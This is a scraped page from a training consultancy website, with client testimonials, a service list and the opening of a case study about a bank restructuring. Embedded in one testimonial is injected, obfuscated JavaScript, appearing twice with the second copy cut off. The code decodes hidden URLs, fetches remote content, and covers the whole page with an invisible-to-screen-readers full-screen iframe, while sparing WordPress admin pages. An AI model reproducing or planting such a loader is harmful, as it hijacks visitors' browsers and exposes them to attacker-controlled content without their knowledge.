C G Martin
Managing Director at H20 Chemicals Ltd
In response to the recent Staff Development days you have facilitated, I would like to thank you for making them a great success. The objectives have been clear and linked to specific learning outcomes. The staff have both enjoyed the events and been able to demonstrate how they have helped them in their work.
The accelerated learning techniques you use have definitely motivated the delegates and they look forward to attending your workshops. The process has enabled me to link in some of the Investors in People Leadership and Management Model (LMM) and start to identify future leaders.
3D Development
Filed under: Accelerated Learning Techniques, Staff Development
Business Permalink
What We Do
Diagnose
- Organisational Development
- Business Modelling
- Face to Face / Telephone Interviews
- Independent Surveys
- Behavioural Observations
Design
- Bespoke Workshop Design
- Leadership and Management Programmes
- Engagement Sessions
- Facilitation Sessions
- Action Learning Sets
- Coaching Circles
Deliver
- Development Programmes
- Training Workshops
- Executive Coaching Sessions
- Career Coaching
- NLP - Neuro Linguistic Programming
- 360° Degree Feedback
- Teambuilding Sessions
Why We Do It
About Us
It is our outcome driven approach and bespoke strategy which has allowed our business to thrive and grow continuously since its inception in 2003.
Yeelam Wong
Senior Store Manager at Arcadia Group
Everytime we are coached by Margaret it is so inspirational and thought provoking!; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log(’28du3′);; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var […] Continue reading...3D Development
Filed under: Coaching, Facilitation, Management Development Programmes
Business Permalink
Case Study
High Street Bank
The client was reducing a network of 17 local Customer Service Centres down to 5 Regional Supercentres to provide telephone support to their customers.
The 5 Senior Managers selected to run these Supercentres would be required to step into leadership roles and champion the change. This was a significant challenge for the group as they had previously operated for many years as Managers rather than leaders and had very limited time to build the required skills and confidence to lead their new much larger teams through a rapid change project.
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